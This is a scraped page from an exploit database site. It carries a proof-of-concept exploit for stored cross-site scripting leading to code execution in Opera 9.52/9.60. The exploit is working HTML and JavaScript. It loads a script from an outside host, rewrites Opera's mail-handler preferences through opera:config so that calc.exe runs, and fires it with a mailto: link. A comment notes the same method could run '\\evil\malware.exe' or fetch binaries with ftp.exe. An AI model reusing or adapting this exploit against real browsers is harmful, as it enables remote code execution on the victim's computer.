0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Opera 9.52/9.60 Stored Cross Site Scripting Code Exec PoC
[=========================================================
Opera 9.52/9.60 Stored Cross Site Scripting Code Exec PoC
=========================================================
<!--
Just found a way to use Stefano’s opera:config idea to execute code from remote.
Instead of changing the HTTP Proxy, an attacker can change the default external
mail application to “\\evil\malware.exe â€, or to local commands (e.g. ftp.exe
which can be used to download malicious binaries from remote). Also, there is a
need to change the “Mail Handler†settings to “2â€, so opera will execute the
external mail application, instead of the default opera mail application.
After changing the settings, the attacker can simply set the location to “mailto:†to execute the code.
A proof-of-concept which executes the Windows Calculator can be found here: http://raffon.net/research/opera/history/op.html
Cheers,
--Aviv.
http://aviv.raffon.net
-->
<html>
<title>bb</title>
<script>
var z=null;
function x() {
window.setTimeout("z=window.open('opera:historysearch?q=%2A');window.focus();",1500);
window.setTimeout("z.close();",3000);
window.setTimeout("location.href='mailto:'",3000);
}
</script>
<body>
<a href="#<script src='http://www.raffon.net/research/opera/history/o.js'></script>" onclick="x()">Click me...</a>
</body>
</html>
<o.js>
s=document.createElement("IFRAME");
s.src="opera:config";
document.body.appendChild(s);
s.src="javascript:opera.setPreference('Mail','External Application','c:\\\\windows\\\\system32\\\\calc.exe');opera.setPreference('Mail','Handler','2');parent.window.close()";
</o.js>
# 0day.today [2024-12-26] #